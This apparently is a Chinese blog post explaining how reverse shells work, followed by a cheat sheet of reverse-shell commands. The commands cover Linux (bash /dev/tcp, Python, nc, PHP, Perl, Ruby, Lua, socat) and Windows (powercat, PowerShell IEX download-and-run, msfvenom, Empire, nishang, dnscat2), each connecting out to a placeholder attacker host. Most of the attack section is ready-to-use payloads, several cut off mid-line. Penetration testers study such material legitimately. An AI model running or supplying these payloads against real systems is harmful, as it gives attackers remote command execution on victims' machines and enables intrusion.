反弹shell原理和常见反弹shell方式

Sec
Artist

反弹shell原理和常见反弹shell方式

是祖国的太阳吖

反弹shell是指控制端监听某个TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出传递到控制端的过程。

reverse shell与telnet、ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。

反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步。

反弹shell基础

举例常见的反弹shell语句： `bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1`

文件描述符

已知Linux下存在三种文件描述符：

- 0 - stdin 标准输入，使用< 或 <<
- 1 - stdout 标准输出，使用> 或 >>
- 2 - stderr 标准错误输出，使用2或者2>>

&>的含义

反弹shell中的 `&` 没有固定含义，放在 `>` 后面的 `&` ，表示重定向的目标不是一个文件，而是一个文件描述符。

- 当 `>&` 后面接文件时，表示将标准输出和标准错误输出重定向到文件
- 当 `>&` 后面接文件描述符时，表示将前面的文件描述符重定向到后面的文件描述符

反弹shell语句含义

`bash -i` 表示在本地打开一个bash， `/dev/tcp/VPS_IP/VPS_Port` 中 `/dev/tcp/` 是Linux中的一个特殊设备，打开这个文件就相当于发出了一个socket调用，建立一个socket连接， `>& /dev/tcp/VPS_IP/VPS_Port` 表示将标准输出和标准错误输出重定向到这个文件上，即传递给远程，如果远程开启了对应端口的监听，就会接收到这个bash的标准输出和标准错误输出。

此时在本地输入命令，本地是看不到输入的内容的，因为输入设备输入的命令和输出以及错误输出的内容已经被传递到远程上。

`0>&1` 表示将标准输入重定向到标准输出，然而此时标准输出已重定向到 `/dev/tcp/VPS_IP/VPS_Port` 这个文件，也就是远程，那么标准输入也就重定向到了远程，所以可以直接在远程输入了。

Linux下反弹shell方式

bash反弹shell

在线编码地址：

java.lang.Runtime.exec() Payload Workarounds
www.jackson-t.ca/runtime-exec-payloads.html

```
bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1
base64版: bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0ID
exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/VPS_IP/1234 1>&0 2>&0
java.lang.Runtime.exec() Payload Workaroundsbash -i >& /dev/tcp/VPS_IP/VPS_Port
base64版: bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0ID
exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/VPS_IP/1234 1>&0 2>&0
```

awk反弹shell

```
awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getli
```

Java反弹shell

```
public class Revs {
    /**
    * @param args
    * @throws Exception
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
```

```
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 |
        Process p = r.exec(cmd);
        p.waitFor();
    }
}
```

上面文件保存为Revs.java文件，编译执行，成功反弹shell。

```
javac Revs.java
java Revs
```

python反弹shell

本地使用 `nc -lvp port` 监听，远程使用python执行下面命令去反向连接：

```
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SO
```

命令通过socket与远程建立起连接，使用os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程，dup2这个方法有两个参数，分别为文件描述符fd1和fd2，当fd2参数存在时，就关闭fd2，然后将fd1代表的那个文件强行复制给fd2，在这里可以把fd1和fd2看作是C语言里的指针，将fd1赋值给fd2，就相当于将fd2指向于s.fileno()，fileno()返回的是一个文件描述符，在这里也就是建立socket连接返回的文件描述符，相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3)，接下来使用os的subprocess在本地开启一个子进程，传入参数“-i”使bash以交互模式启动，标准输入、标准输出、标准错误输出又被重定向到了远程，这样的话就可以在远程执行输入命令了。

nc反弹shell

假设远程安装有nc，则可以在本地使用 `nc -lnvp port` 监听，-n参数代表在建立连接之前不对主机进行dns解析，远程执行下面命令反向连接：

```
nc -e /bin/bash VPS_IP Port
```

-e后面跟的参数是在创建连接后执行的程序，在连接到远程后可以在远程执行一个本地shell(/bin/bash)，也就是反弹一个shell给远程。

如果远程nc不支持-e参数，可以利用到linux中的管道符，管道符的作用是把管道符前的输出作为管道符后的输入。

首先本地监听两个端口：

```
nc -nvlp 8888
nc -nvlp 9999
```

然后远程执行以下命令：

```
nc VPS_IP 8888 | /bin/bash | VPS_IP 9999
```

远程的8888端口的输入设备（键盘）输入命令，将命令输出传递至本地的 `/bin/bash` ，通过本地shell解释执行命令后，将命令执行的结果以及错误输入到远程的9999端口。

telnet反弹shell

和nc反弹shell类似，需要利用管道符。

```
telnet VPS_IP 1234 | /bin/bash | telnet VPS_IP 4321
```

socat反弹shell

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:VPS_IP:Port
```

php反弹shell

利用php中 exec函数执行方法反弹shell：

```
php- 'exec("/bin/bash -i >& /dev/tcp/VPS_IP/7777")'
```

使用fsockopen去连接远程：

```
php -r '$sock=fsockopen("VPS_IP",port);exec("/bin/bash -i <&3 >&3 2>&3");'
```

远程反向连接：

```
php -r '$sock=fsockopen("VPS_IP",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
```

需要注意的是，php反弹shell的这些方法都需要php关闭safe_mode这个选项，才可以使用exec函数。

Perl反弹shell

```
perl -e 'use Socket;$i="VPS_IP";$p=1234;socket(S,PF_INET,SOCK_STREAM,getproto
```

Ruby反弹shell

```
ruby -rsocket -e'f=TCPSocket.open("VPS_IP",1234).to_i;exec sprintf("/bin/sh -i
```

Lua反弹shell

```
lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','123
```

Windows下反弹shell方式

nc反弹shell

```
netcat 下载: https://eternallybored.org/misc/netcat/
服务端反弹: nc VPS_IP 1234 -e c:\windows\system32\cmd.exe
```

powershell反弹

powercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。

```
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('htt
```

下载到目标机器本地执行：

```
PS C:\WWW> Import-Module ./powercat.ps1
PS C:\WWW> powercat -c VPS_IP -p 1234 -e cmd
```

MSF反弹shell

使用msfvenom生成相关Payload

```
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=VPS_IP LPORT=1234
```

Cobalt strike反弹shell

1、配置监听器：点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners，点击add。
2、生成payload：点击Attacks——>Packages——>Windows Executable，保存文件位置。 3、目标机执行powershell payload

Empire反弹shell

```
usestager windows/launcher_vbs
info
set Listener test
execute
```

nishang反弹shell

反弹TCPshell

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuse
```

反弹UDPshell

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuse
Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 1234
```

Dnscat反弹shell

项目地址：

https://github.com/iagox86/dnscat2
github.com/iagox86/dnscat2

服务端：

```
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open
```

目标主机：

```
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.gi
```

发布于 2021-12-16 16:37

内网安全

ffkjff

还没有评论，发表第一个评论吧

推荐阅读

反弹shell原理与实现

什么是反弹shell？ 反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对…

PHP架构… 发表于PHP架构…

什么是反弹 Shell?

崔庆才丨静觅

ReverseTCPShell C2 反弹shell工具

ReverseTCPShell C2是一款powershell编写的反弹shell工具，流量经过AES加密，payload通过三种混淆方式可绕过一些杀软的检测。 测试： 1. 在文件目录下启动powershell 2. .\ReverseTCP.ps1…

怪狗 发表于黑白之道

关于氢脆的一些总结

Jinny… 发表于核材料与位…